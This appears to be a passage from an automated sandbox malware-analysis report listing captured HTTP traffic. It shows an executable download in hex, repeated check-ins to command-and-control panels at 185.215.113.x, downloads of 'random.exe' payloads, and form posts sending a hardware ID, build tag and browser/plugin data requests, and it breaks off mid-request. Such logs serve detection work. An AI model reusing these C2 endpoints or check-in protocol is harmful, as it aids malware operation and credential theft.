00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 03:13:49 GMTContent-Type: application/octet-streamContent-Length: 2721792Last-Modified: Fri, 22 Nov 2024 03:06:55 GMTConnection: keep-aliveETag: "673ff54f-298800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 05 bd 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6a 64 64 79 74 78 75 00 40 29 00 00 a0 00 00 00 28 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 65 66 78 78 62 69 7a 00 20 00 00 00 e0 29 00 00 04 00 00 00 62 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2a 00 00 22 00 00 00 66 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEJanOM/f8BEauEo6GRqguxLgAJt0LBh1uWaBD08sPTthnLouxyOeqq8UXC40zxYtXUeuLL3jc98oc4sgTt8Qg5RgpVyPUGOqQCdIMU+jHj5jPNgpCOYLzgjk7/68jQbYqRpL5buJGDaKHJUU4Qzi5sjC1iwUwrkBZLfklCNSWdGai+iykzR0ELnFD4lJb88vZch+TXuihcRzjbZvJG6mFONQPa3ignNQpsSbQgkMM4xuASI/kaIM+YTU5dBQE1SH8k0CwZj5Yc3H1S94NyGSn+DeuALqccEE8gt3uchW9hnkYs9tmlAQt7GBc9BBk/kSpz+oHgE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732245350745Host: self.events.data.microsoft.comContent-Length: 7975Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Fri, 22 Nov 2024 01:05:29 GMTIf-None-Match: "673fd8d9-42b200"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 38 30 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1008090001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 30 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008091001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 30 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008092001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCBAFCGDAAKFIDGIEGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 37 31 39 30 34 34 30 39 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 47 2d 2d 0d 0a Data Ascii: ------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="hwid"CE719044099B3566182515------EBGCBAFCGDAAKFIDGIEGContent-Disposition: form-data; name="build"mars------EBGCBAFCGDAAKFIDGIEG--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCAAKFBAEHJJJJDHIEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 33 64 34 37 62 34 37 63 61 64 34 38 65 65 34 37 35 33 33 35 35 31 36 61 64 31 64 38 64 65 61 62 31 31 34 63 35 62 63 36 63 37 39 30 30 62 38 34 34 35 65 30 38 64 35 66 39 66 37 31 61 63 32 39 35 34 61 62 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 2d 2d 0d 0a Data Ascii: ------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="token"cc3d47b47cad48ee475335516ad1d8deab114c5bc6c7900b8445e08d5f9f71ac2954abca------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="message"browsers------KKFCAAKFBAEHJJJJDHIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 33 64 34 37 62 34 37 63 61 64 34 38 65 65 34 37 35 33 33 35 35 31 36 61 64 31 64 38 64 65 61 62 31 31 34 63 35 62 63 36 63 37 39 30 30 62 38 34 34 35 65 30 38 64 35 66 39 66 37 31 61 63 32 39 35 34 61 62 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"cc3d47b47cad48ee475335516ad1d8deab114c5bc6c7900b8445e08d5f9f71ac2954abca------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="message"plugins------HDGIJJDGCBKFIDHIEBKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 33 64 34 37 62 34 37 63 61 64 34 38 65 65 34 37 35 33 33 35 35 31 36 61 64 31 64 38 64 65 61 62 31 31 34 63 35 62 63 36 63 37 39 30 30 62 38 34 34 35 65 30 38 64 35 66 39 66 37 31 61 63 32 39 35 34 61 62 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="token"cc3d47b47cad48ee475335516ad1d8deab114c5bc6c7900b8445e08d5f9f71ac2954abca------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="message"fplugins------HIIEGHJJDGHCAKEBGIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBAHost: 185.215.113.206Content-Length: 5983Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 30 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008093001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 30 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008094001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 37 31 39 30 34 34 30 39 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="hwid"CE719044099B3566182515------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="build"mars------KKJEBAAECBGDHIECAKJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 37 31 39 30 34 34 30 39 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; 